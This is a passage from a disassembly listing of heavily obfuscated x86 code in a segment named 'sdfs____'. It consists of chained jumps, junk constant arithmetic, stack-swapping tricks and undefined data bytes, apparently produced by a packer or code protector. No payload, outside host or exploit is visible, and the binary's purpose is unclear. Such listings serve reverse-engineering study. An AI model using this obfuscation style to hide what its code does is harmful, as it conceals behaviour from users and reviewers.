		add	esp, 4
		mov	edx, ecx
		mov	ecx, [esp]
		jmp	loc_58C321
; ---------------------------------------------------------------------------


loc_596879:				; CODE XREF: sdfs____:0058CC11j
		push	ebp
		jmp	loc_5900B1
; ---------------------------------------------------------------------------
		db 4
		dd 0B65251B8h, 0F6D6F64Ch, 7EC680D6h, 0E95AF188h, 0FFFFBFD6h
; ---------------------------------------------------------------------------


loc_596894:				; CODE XREF: sdfs____:00592425j
		or	edx, 1B2355D6h
		jmp	loc_598626
; ---------------------------------------------------------------------------


loc_59689F:				; CODE XREF: sdfs____:0058D183j
		pop	eax
		xor	eax, 6D5A7DB9h
		jmp	loc_58C603
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 6F662A05h, 0C6E9D589h, 0E9FFFF76h, 0FFFF5109h
; ---------------------------------------------------------------------------


loc_5968BC:				; CODE XREF: sdfs____:005910B2j
		sub	dh, 0C9h
		jmp	loc_594710
; ---------------------------------------------------------------------------
		dd 33DABD55h, 0EE31C18Bh, 81242C8Bh, 4C4h, 332D2D00h, 0C6056746h
		dd 2905366Fh, 6FC62DF0h, 2D050536h, 5E674633h, 1BBF575Eh
		dd 0E9662964h, 0FFFF68D9h
; ---------------------------------------------------------------------------


loc_5968F8:				; CODE XREF: sdfs____:0058C7B5j
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		xchg	eax, edi
		jmp	loc_58EB48
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 582434FFh, 4C481h, 3EE90000h, 86FFFFA5h, 0F86851EBh
		dd 8900000Ah, 89522414h, 658FE9E2h, 0EC83FFFFh,	240C8904h
		dd 0FE33B753h, 4DB652CFh, 0FFDAD8E9h, 8E8C1FFh,	15E4B951h
		dd 0E98128CEh, 69360379h, 0FFB7B1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_596951:				; CODE XREF: sdfs____:00597FD0j
		inc	eax
		push	ebp
		mov	ebp, 0DDAEB7FBh
		xor	eax, ebp
		pop	ebp
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_594D1E
; ---------------------------------------------------------------------------
		dd 0D131CA31h, 0FFC50CE9h, 503FE9FFh, 0C828FFFFh, 52362C59h
		dd 80EBB753h, 0E780ECCFh, 6EFC000h, 68h, 243C2800h, 83243C8Ah
		dd 0E5E904C4h
		db 9Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5969AB:				; CODE XREF: sdfs____:0058D3D2j
		sub	ebp, 778F7882h
		add	ebp, 6B4752E6h
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edx
		mov	dx, 16CAh
		add	dx, 0F10h
		sub	dx, 521Ah
		dec	dx
		neg	dx
		jmp	loc_58F749
; ---------------------------------------------------------------------------


loc_5969DD:				; CODE XREF: sdfs____:005922BFj
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edi
		jmp	loc_58C00A
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0E95F240Ch, 0FFFFA102h, 0F03E6C1h, 0FFE2FA89h
		dd 81D6F7FFh, 4A398BC6h, 91E8E901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596A16:				; CODE XREF: sdfs____:005955ACj
		mov	esi, [esp]
		jmp	loc_59153C
; ---------------------------------------------------------------------------
		dw 8F0Fh
		dd 0FFFF979Ah, 0FFF8F7E9h, 0C28166FFh, 52E9934Ch
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_596A33:				; CODE XREF: sdfs____:00593F83j
		mov	eax, esp
		jmp	loc_58F517
; ---------------------------------------------------------------------------
		dw 5052h
		dd 0FFF6ECB8h, 0E9C28977h, 0FFFF55EAh
; ---------------------------------------------------------------------------


loc_596A48:				; CODE XREF: sdfs____:0058DF78j
		mov	bp, [esp]
		add	esp, 2
		push	cx
		jmp	loc_5917C8
; ---------------------------------------------------------------------------


loc_596A59:				; CODE XREF: sdfs____:0058EABAj
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_59167C
; ---------------------------------------------------------------------------


loc_596A66:				; CODE XREF: sdfs____:00595AFEj
		mov	ebp, 84B4F4Eh
		neg	ebp
		neg	ebp
		neg	ebp
		add	ebp, 4CC7AE87h
		sub	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		shl	ebx, 2
		push	edi
		mov	edi, 7854514Bh
		jmp	loc_592C09
; ---------------------------------------------------------------------------


loc_596A8D:				; CODE XREF: sdfs____:0058FA22j
		jle	loc_597A00
		xor	ebx, 3E44105Ah
		inc	ebx
		jl	loc_59124F
		sub	ebx, 34E3FFEAh
		push	ebx
		pop	ebp
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, ebp
		pop	ebp
		jmp	loc_59838B
; ---------------------------------------------------------------------------
		dw 8C0Fh
		dd 0FFFFDE03h, 238D0F40h, 2D000016h, 546F2820h,	1786880Fh
		dd 535A0000h, 0EAE90FB3h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596AD7:				; CODE XREF: sdfs____:0058F575j
		pop	ebp
		pop	eax
		push	2A44h
		mov	[esp], ebp
		mov	ebp, edi
		push	edi
		jmp	loc_597AD5
; ---------------------------------------------------------------------------


loc_596AE9:				; CODE XREF: sdfs____:00591C82j
		pop	esp
		push	esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 37F34C06h
		mov	esi, edx
		pop	edx
		add	eax, 33DE2C04h
		add	eax, 3A1910EEh
		add	eax, esi
		sub	eax, 3A1910EEh
		sub	eax, 33DE2C04h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	esi
		sub	esp, 4
		mov	[esp], edx
		push	3E657256h
		jmp	loc_597747
; ---------------------------------------------------------------------------


loc_596B2A:				; CODE XREF: sdfs____:005927C8j
		add	ebp, edx
		pop	edx
		not	ebp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5919BA
; ---------------------------------------------------------------------------
		dw 0D168h
		dd 5F603E14h, 0FFA633E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_596B45:				; CODE XREF: sdfs____:00591893j
		mov	[esp], cx
		mov	cl, 60h
		add	bl, cl
		mov	cx, [esp]
		push	esi
		jmp	loc_596683
; ---------------------------------------------------------------------------


loc_596B57:				; CODE XREF: sdfs____:005953F3j
		add	ebp, 51DB2AECh
		add	ebp, edx
		jmp	loc_59076E
; ---------------------------------------------------------------------------
aSs		db '^Sé$',1Bh,0
		dw 3300h
		dd 2C31242Ch, 242C3324h, 0E924248Bh, 0FFFF4FA1h
; ---------------------------------------------------------------------------


loc_596B7C:				; CODE XREF: sdfs____:00591506j
		sub	ebx, 13E52D57h
		push	ebx
		push	edi
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	edi
		not	edi
		xchg	edi, ebx
		and	ebx, 68CC15BEh
		push	53C0h
		mov	[esp], ebp
		mov	ebp, 5F3276D9h
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 0A1A3B6E5h
		sub	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_596BD3:				; CODE XREF: sdfs____:0058CA65j
		sub	ebp, 14CC1D51h
		jo	loc_590663
		sub	ebp, 2FAED1Ch
		mov	esi, ebp
		pop	ebp
		xor	esi, 11E5881Eh
		add	eax, 88D4A93h
		sub	eax, esi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5956DE
; ---------------------------------------------------------------------------
		db 81h
		dd 6E060EEFh, 0B8505B68h, 4, 8758C701h,	535C243Ch, 42474FFh
		dd 24048F5Bh, 0D224248Bh, 0E99C242Ch, 0FFFF4D99h
; ---------------------------------------------------------------------------


loc_596C2C:				; CODE XREF: sdfs____:0058D7F1j
					; sdfs____:005921B1j
		pop	dword ptr [eax]
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_596C33:				; CODE XREF: sdfs____:0058C8E9j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	esi
		push	ebx
		push	0B46120Dh
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 17115203h
		xor	edi, 13B41618h
		dec	edi
		xor	edi, 61A72312h
		inc	edi
		jmp	loc_596E14
; ---------------------------------------------------------------------------


loc_596C6B:				; CODE XREF: sdfs____:0058F9BEj
		xor	ebx, 678718CAh
		shr	ebx, 1
		jmp	loc_58D2F5
; ---------------------------------------------------------------------------
		dd 81243C8Bh, 4C4h, 4BE5600h, 0E9000000h, 0FFFFC1CBh
; ---------------------------------------------------------------------------


loc_596C8C:				; CODE XREF: sdfs____:0058E91Fj
		pop	edx
		add	esp, 4
		jmp	loc_593237
; ---------------------------------------------------------------------------
		dd 6F28202Dh, 12880F54h, 0E9FFFF5Ah, 0FFFFA66Fh, 517C5DBDh
		dd 22685648h, 89000071h, 8CBB241Ch, 0C13D0420h,	0C38105EBh
		dd 0FE17DF00h, 835BD901h, 0C3304C1h, 240C3124h,	848E9h
		dd 0EB814300h, 0F742A18h, 0E904E3C1h, 0FFFF5AA2h, 335BD801h
		dd 4312404h, 90A0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596CF2:				; CODE XREF: sdfs____:00595733j
		push	esp
		mov	edx, [esp]
		push	esi
		jmp	loc_58EA2A
; ---------------------------------------------------------------------------
		dd 932CD828h, 0F695B753h, 40F780D7h, 0E908EFC0h, 0FFFFDF32h
		dd 0E924048Bh, 0FFFF6285h, 54243C89h, 83243C8Bh, 0BB5304C4h
		dd 34175358h, 468F6851h, 0E95974C4h, 0FFFF9F10h
; ---------------------------------------------------------------------------


loc_596D34:				; CODE XREF: sdfs____:0058CBBDj
		sub	esp, 4
		jmp	loc_58C7B2
; ---------------------------------------------------------------------------


loc_596D3C:				; CODE XREF: sdfs____:loc_596637j
		sub	ebp, 14CC1D51h
		jo	loc_597105
		sub	ebp, 2FAED1Ch
		jmp	loc_5944B6
; ---------------------------------------------------------------------------
		db 0D1h
		dd 4A8A0FE2h, 81FFFFF4h, 0A062A5F2h, 896DE946h,	478FFFFFh
		dd 40478140h, 1A4214D5h, 0FF75B6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_596D75:				; CODE XREF: sdfs____:0058E119j
		mov	edx, 47300D0h
		xor	edx, eax
		jmp	loc_5953CC
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FF6598E9h, 4EB81FFh, 87000000h, 895C241Ch, 0D2E9242Ch
		dd 5EFFFF90h, 1272C681h, 0C681373Bh, 3E039F8h, 2CCDE681h
		dd 3AE95F1Bh
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596DB3:				; CODE XREF: sdfs____:0058C096j
		push	ecx
		jmp	loc_595E2A
; ---------------------------------------------------------------------------


loc_596DB9:				; CODE XREF: sdfs____:00594CF3j
		add	esp, 4
		or	eax, eax
		jz	loc_5985AE
		push	dword ptr [edi+28h]
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		mov	esi, 48B25C11h
		and	esi, 4C611520h
		jb	loc_58CD63
		sub	esi, 5A3C1172h
		jb	loc_5982C4
		shl	esi, 7
		js	loc_59104F
		jge	loc_58C367
		mov	cx, [esp]
		push	473Eh
		mov	[esp], ebx
		push	658Fh
		mov	[esp], esp
		push	ebx
		jmp	loc_598C7D
; ---------------------------------------------------------------------------


loc_596E14:				; CODE XREF: sdfs____:00596C66j
		xor	edi, 6502670Dh
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		pop	esp
		or	ebx, 40A3B0Bh
		jnb	loc_58F663
		jmp	loc_593F52
; ---------------------------------------------------------------------------
		dw 815Ch
		dd 3D4D2CF6h, 0FFF0212Ah, 0E99C240Ch, 0FFFF4B81h
; ---------------------------------------------------------------------------


loc_596E44:				; CODE XREF: sdfs____:0058F0ACj
		push	edi
		jmp	loc_590E32
; ---------------------------------------------------------------------------


loc_596E4A:				; CODE XREF: sdfs____:0058E385j
		add	esp, 4
		push	ecx
		push	edi
		mov	edi, 66D23E3Eh
		xor	[esp+4], edi
		pop	edi
		pop	ebx
		xor	ebx, 66D23E3Eh
		pop	ecx
		and	ecx, ebx
		jmp	loc_594593
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 0EAED8104h, 152F078h, 0EAC581D5h, 8B52F078h
		dd 7C682414h, 0E900003Dh, 0FFFF6CC5h, 9D1C77FFh, 4185866h
		dd 55E99C24h, 89FFFF90h, 0E9C15FF9h, 5E9C104h, 9AB2F181h
		dd 0C80135C5h, 0FFB0D1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_596EB1:				; CODE XREF: sdfs____:00591392j
		shr	edi, 7
		push	ebp
		mov	ebp, 2A04B9Eh
		add	ebp, 3EEF41BBh
		inc	ebp
		or	ebp, 0DBD3B2Bh
		inc	ebp
		push	edx
		mov	edx, 3FB06909h
		and	ebp, edx
		pop	edx
		add	ebp, 0E79FDA8Eh
		sub	edi, ebp
		pop	ebp
		mov	ebx, edi
		pop	edi
		jmp	loc_58FB8C
; ---------------------------------------------------------------------------


loc_596EE2:				; CODE XREF: sdfs____:00591A2Aj
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	eax
		mov	eax, 60EE7827h
		mov	ebx, eax
		pop	eax
		sub	eax, 70DA14E8h
		add	eax, 2E213A67h
		push	ecx
		mov	ecx, 744C208Ah
		not	ecx
		neg	ecx
		shl	ecx, 2
		inc	ecx
		xor	ecx, 0EA1485E1h
		jmp	loc_58F8E4
; ---------------------------------------------------------------------------
		dw 5266h
		dd 0F6243486h, 243486DEh, 0F2805A66h, 504EE922h, 0E95AFFFFh
		dd 0FFFF6E40h, 6F2462BEh, 41F68126h, 0E9215501h, 0FFFFABFDh
; ---------------------------------------------------------------------------


loc_596F40:				; CODE XREF: sdfs____:0058DB88j
					; sdfs____:00594256j
		not	dword ptr [esp]
		pop	edx
		xchg	ecx, edx
		not	ecx
		xchg	ecx, edx
		push	ebp
		mov	ebp, 5948467Fh
		and	ebp, 80161DAh
		dec	ebp
		and	ebp, 31D93986h
		sub	ebp, 0DE25EABAh
		sub	edx, ebp
		jmp	loc_58D831
; ---------------------------------------------------------------------------


loc_596F6A:				; CODE XREF: sdfs____:0058F2CBj
		push	3FE6h
		jmp	loc_5932E2
; ---------------------------------------------------------------------------
		dd 54242C89h, 468565Dh,	0E9000000h, 0FFFFCCFAh
; ---------------------------------------------------------------------------


loc_596F84:				; CODE XREF: sdfs____:0058D8FFj
		push	ecx
		jmp	loc_596644
; ---------------------------------------------------------------------------


loc_596F8A:				; CODE XREF: sdfs____:0058E512j
					; sdfs____:0059667Ej
		push	ebp
		sub	esp, 4
		jmp	loc_5954B4
; ---------------------------------------------------------------------------


loc_596F96:				; CODE XREF: sdfs____:0058FB48j
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	[esp], eax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aHQ		db '$hÈq',0
		align 2
		dw 3489h
		dd 90CE924h, 0EC810000h, 4, 0E9243489h,	0FFFFED7Ah, 158C229h
		dd 78C281C2h, 58035714h, 2C281h, 76E90000h, 81FFFF7Fh
		dd 4C6h, 4C68100h, 33000000h, 34312434h, 24343324h, 0C6DEE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596FF6:				; CODE XREF: sdfs____:00597AD0j
		add	ebx, ebp
		push	esi
		mov	esi, 28207C5Fh
		add	ebx, esi
		pop	esi
		jmp	loc_592411
; ---------------------------------------------------------------------------
		dw 8B54h
		dd 64682414h, 8900004Ch, 0E189240Ch, 4BD55h, 0E9010000h
		dd 8953565Dh, 4C381E3h,	0E9000000h, 0FFFFFD5Dh,	0B8240489h
		dd 0F624FACCh, 0AFE9C729h
		db 4Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59703B:				; CODE XREF: sdfs____:00598575j
		xor	edi, 7B43FE2h
		push	edi
		mov	edi, 50C3402Ah
		add	ebx, edi
		pop	edi
		sub	ebx, 271111EDh
		add	ebx, edi
		add	ebx, 271111EDh
		sub	ebx, 50C3402Ah
		mov	edi, [esp]
		add	esp, 4
		add	ebx, eax
		push	2953h
		jmp	loc_58D744
; ---------------------------------------------------------------------------
		dd 4B8h, 0BDC68100h, 132C335h, 0BDEE81C6h, 0E932C335h
		dd 0FFFF8AA2h
; ---------------------------------------------------------------------------


loc_597088:				; CODE XREF: sdfs____:00594EA6j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0FCh
		dd 895D4011h, 243C8BF8h, 4004C483h, 0FFD106E9h,	6268ADFFh
		dd 89000013h, 0D1BE2434h, 2D603E14h, 7C370BF0h,	0FFEB41E9h
		dd 936859FFh, 89000023h, 0EC812414h, 4,	52240489h, 885159B2h
		dd 59E888D5h, 2837B65Ah, 9A16E9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5970DE:				; CODE XREF: sdfs____:00594D64j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_590CA1
; ---------------------------------------------------------------------------
		dd 2110A1BAh, 7EAC152h,	0EAC1DAF7h, 0BE564A05h,	7FADDE9h
		dd 0FFBEFFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_597105:				; CODE XREF: sdfs____:00596D42j
		sub	esi, 22BC35F4h
		jo	loc_58DD8E
		or	esi, 47D80BDBh
		jmp	loc_59621F
; ---------------------------------------------------------------------------


loc_59711C:				; CODE XREF: sdfs____:0058C214j
		sub	esi, 0D7E93F75h
		mov	ebp, esi
		jmp	loc_596078
; ---------------------------------------------------------------------------
		db 2Dh,	14h, 16h
		dd 565548D5h, 410B01BEh, 0A83ABD0Dh, 0F501FE54h, 0FFD682E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_597141:				; CODE XREF: sdfs____:00596587j
		push	edx
		jmp	loc_5914B2
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0C8B2434h, 0C174E924h, 0C8BFFFFh, 650C6824h,	34890000h
		dd 0DD92E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597162:				; CODE XREF: sdfs____:00598C3Cj
		mov	ebp, esi
		pop	esi
		xchg	edx, ebp
		not	edx
		xchg	edx, ebp
		add	ebp, 12951684h
		sub	ebp, 0EB959B60h
		sub	esi, 3CA0E03h
		add	esi, ebp
		push	ecx
		mov	ecx, 3CA0E03h
		sub	esi, 4DB00980h
		add	esi, ecx
		add	esi, 4DB00980h
		pop	ecx
		pop	ebp
		jmp	loc_58FDC3
; ---------------------------------------------------------------------------


loc_59719A:				; CODE XREF: sdfs____:00592A94j
		mov	[esp], ecx
		jmp	loc_593E03
; ---------------------------------------------------------------------------
		dw 0C780h
		dd 0E9F92879h, 0FFFF6363h, 7B510EB8h, 0E582E94Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5971B6:				; CODE XREF: sdfs____:0058D069j
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	32EEh
		jmp	loc_591A85
; ---------------------------------------------------------------------------
		dd offset loc_41A966+2
		dw 8900h
		dd 6BE92434h, 59FFFFA6h, 4244481h, 583226BBh, 4244401h
		dd 4246C81h, 583226BBh,	4246C81h, 23AE11C6h, 24048158h
		dd 10D36867h, 15242C81h, 139B374h, 4812404h, 0B3741524h
		dd 242C8139h, 10D36867h, 5C1FB951h, 4C290A98h, 34FF0424h
		dd 240C8B24h, 7969E956h, 0E95BFFFFh, 0FFFFE396h
; ---------------------------------------------------------------------------


loc_597234:				; CODE XREF: sdfs____:0058C72Fj
		mov	[esp], ebp
		push	ebx
		jmp	loc_590EC5
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 8B545724h, 0C481243Ch, 4, 0FF76C5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_597251:				; CODE XREF: sdfs____:00595D69j
		mov	eax, 33F44EF7h
		jmp	loc_591AD9
; ---------------------------------------------------------------------------


loc_59725B:				; CODE XREF: sdfs____:0058D4E8j
		mov	edx, 4FEB1D54h
		jmp	loc_597866
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0ACC0E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59726E:				; CODE XREF: sdfs____:0059520Fj
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		div	cx
		push	568Fh
		mov	[esp], ecx
		jmp	loc_58F7C7
; ---------------------------------------------------------------------------


loc_597285:				; CODE XREF: sdfs____:00598372j
		mov	ebx, 42FE42A2h
		not	ebx
		neg	ebx
		add	ebx, 0BD01BD61h
		add	edx, ebx
		pop	ebx
		push	edi
		mov	edi, 4
		sub	edx, 6E6A5740h
		sub	edx, 23CE5D3Dh
		sub	edx, edi
		add	edx, 23CE5D3Dh
		add	edx, 6E6A5740h
		jmp	loc_593F52
; ---------------------------------------------------------------------------
		dd 8D0F4D68h, 24348B4Bh, 0E9E78957h, 157Eh, 0F381D3F7h
		dd 6BE2FBF5h, 0FFDC8EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5972D9:				; CODE XREF: sdfs____:0058C1F7j
		or	edx, eax
		jmp	loc_593751
; ---------------------------------------------------------------------------


loc_5972E0:				; CODE XREF: sdfs____:0058E015j
		mov	ecx, 0E488B3D1h
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	ebp, ebx
		pop	ebx
		add	ebp, 39A33E0Ch
		jmp	loc_58BB0F
; ---------------------------------------------------------------------------


loc_5972FB:				; CODE XREF: sdfs____:0058C4B4j
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 19C93B49h
		add	esi, 249E418Ch
		sub	esi, 35241E1Ah
		not	esi
		sub	esi, 26605598h
		add	esi, 42D0CA4h
		xor	esi, 0D4895852h
		sub	ecx, 36993309h
		jmp	loc_58EAF6
; ---------------------------------------------------------------------------
		dw 15E9h
		dd 81000009h, 73A6BEBh,	5BDE899Fh, 55EF001h, 14C00554h
		dd 542DD829h, 8114C005h, 4ECh, 24148900h, 3E30B6BAh, 801AE959h
		dd 0C181FFFFh, 0FF68F0E3h, 33E9CB01h
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59736F:				; CODE XREF: sdfs____:0058BFABj
		mov	[esp], ebp
		mov	ebp, 219715D0h
		mov	ecx, 219715F0h
		xor	ecx, ebp
		jmp	loc_5978E0
; ---------------------------------------------------------------------------
		db 56h
		dd 135FB850h, 81506788h, 1169242Ch, 815E0BEDh, 0ED1169C6h
		dd 7431580Bh, 0FF5E0424h, 83E92434h, 0F7FFFFFBh, 81D3F7DBh
		dd 672805C3h, 0E9DE01FEh, 0AA6h
; ---------------------------------------------------------------------------


loc_5973B8:				; CODE XREF: sdfs____:0059101Ej
		mov	edx, 1D77469Bh
		sub	ecx, edx
		pop	edx
		push	eax
		mov	eax, esp
		jmp	loc_59447C
; ---------------------------------------------------------------------------
		dd 2B8h, 8BC28900h, 0C4832404h,	0E9D38904h, 0FFFF8958h
; ---------------------------------------------------------------------------


loc_5973DC:				; CODE XREF: sdfs____:0058E842j
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_58D582
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 2
		dd 66000000h, 68241C89h, 6254h,	0B6241489h, 0DBF68067h
		dd 0E9F58851h, 0FFFFDB2Ah, 3585EA81h, 0F2811C2Ah, 60484E4Eh
		dd 0AE9D001h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59741B:				; CODE XREF: sdfs____:0058EB02j
		pop	esp
		mov	ax, [esp]
		push	426Ah
		jmp	loc_598B25
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 2C8B0424h, 0E9545524h, 0FFFFF30Ah, 54578F0Fh, 21E9FFFFh
		dd 68FFFFF7h, 731Bh, 0C701C38Bh, 4BB5358h, 1000000h, 241C8BDFh
		dd 4C481h, 3C330000h, 0D14DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597466:				; CODE XREF: sdfs____:00598BA6j
		add	ebx, 4
		push	ecx
		push	ebx
		mov	ebx, 0BF87207h
		jmp	loc_58CC88
; ---------------------------------------------------------------------------


loc_597478:				; CODE XREF: sdfs____:005915C5j
		neg	eax
		jz	loc_59036F
		jmp	loc_5941FC
; ---------------------------------------------------------------------------
		db 43h,	0Fh, 84h
		dd 0FFFF49F4h, 890FEBD1h, 0FFFF5041h, 0AA9FC381h, 0EBE9DCEAh
		dd 80FFFFECh, 8F66FACCh, 0F7662404h, 656866D6h,	34896623h
		dd 74FF6624h, 5E660224h, 24048F66h, 240C8B66h, 6602C483h
		dd 3166CB31h, 0CB3166D9h, 241C3166h, 241C3366h,	241C3166h
		dd 0FF44E8E9h, 7FBDBBFFh, 0E3E97FBFh, 51FFFF60h, 731C81B9h
		dd 59C80967h, 0CC39260Dh, 3FAB353Eh, 0BD557FFFh, 43094CBBh
		dd 0D5F7E5D1h, 8102EDC1h, 67377DF5h, 81DDF743h,	76B67FF5h
		dd 5DEE29FFh, 0FFE175E9h, 240C33FFh, 0FF9DF2E9h, 5AD028FFh
		dd 4EC81h, 0C890000h, 0C0E8B524h, 0C58002EDh, 9F04C1h
		dd 0B15166E8h, 28BD049Fh, 6E5E9C8h, 0EF800000h,	4DC780B1h
		dd 0E995EF80h, 0FFFF6941h, 4BAh, 97C38100h, 5056CC32h
		dd 6E18B8h, 58C3294Ch, 0FFE3A5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_597571:				; CODE XREF: sdfs____:0058C07Aj
		jmp	loc_597CC6
; ---------------------------------------------------------------------------


loc_597576:				; CODE XREF: sdfs____:00592D59j
		push	eax
		push	esp
		pop	eax
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		jmp	loc_5986FF
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 0EC835704h, 24248904h, 4240483h,	773BE95Fh
		dd 14E9FFFFh
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5975A3:				; CODE XREF: sdfs____:0059478Aj
		mov	ebx, [esp]
		push	ebx
		jmp	loc_592326
; ---------------------------------------------------------------------------


loc_5975AC:				; CODE XREF: sdfs____:0058DC6Aj
		add	bl, 0A8h
		add	bl, 8Dh
		sub	bl, al
		sub	bl, 8Dh
		push	eax
		mov	ah, 0A8h
		sub	bl, ah
		pop	eax
		push	eax
		jmp	loc_597D78
; ---------------------------------------------------------------------------


loc_5975C3:				; CODE XREF: sdfs____:00591718j
		xchg	ebp, ecx
		jmp	loc_58E01A
; ---------------------------------------------------------------------------


loc_5975CA:				; CODE XREF: sdfs____:005928F9j
					; sdfs____:0059411Fj
		push	eax
		mov	eax, 218B1714h
		inc	eax
		shr	eax, 5
		xor	eax, 5A9A6780h
		jmp	loc_594136
; ---------------------------------------------------------------------------


loc_5975DE:				; CODE XREF: sdfs____:0058F52Fj
		pop	ebx
		add	eax, edx
		pop	edx
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_593698
; ---------------------------------------------------------------------------


loc_5975F6:				; CODE XREF: sdfs____:00597880j
		mov	ebx, 4
		push	edx
		mov	edx, 4F307382h
		and	edx, 692A6817h
		sub	edx, 18643799h
		jmp	loc_591700
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 4DB4565Ch, 903A860Fh, 14E9FFFFh, 0E9FFFF62h,	0FFFF65BEh
; ---------------------------------------------------------------------------


loc_597628:				; CODE XREF: sdfs____:00590079j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebp
		sub	esp, 4
		jmp	loc_598A70
; ---------------------------------------------------------------------------
		db 66h
		dd 5024048Bh, 3E4268h, 24248900h, 0FFB934E9h, 38F3B9FFh
		dd 0D1F74924h, 850FD9F7h, 0FFFFA512h, 95E9D9F7h, 0BFFFFFF3h
		dd 509E494Ah, 57850F4Bh, 56FFFFD9h, 0F47FFEBEh,	8BF329FFh
		dd 0C4832434h
		db 4
; ---------------------------------------------------------------------------


loc_597685:				; CODE XREF: sdfs____:0058C977j
		add	edx, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	edx, 2
		xchg	edx, [esp]
		pop	esp
		sub	bl, 88h
		push	ecx
		mov	cl, 80h
		jmp	loc_59457F
; ---------------------------------------------------------------------------


loc_5976B0:				; CODE XREF: sdfs____:00591304j
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 70947734h
		add	ebx, 8F6B88D0h
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		jmp	loc_58C64D
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 41C5934h, 0FF5211E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5976DD:				; CODE XREF: sdfs____:00592ACAj
		pop	esi
		mov	ecx, [esp]
		jmp	loc_596736
; ---------------------------------------------------------------------------
		dw 362Ch
		dd 0FF7E47E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5976ED:				; CODE XREF: sdfs____:00593BE9j
		push	cx
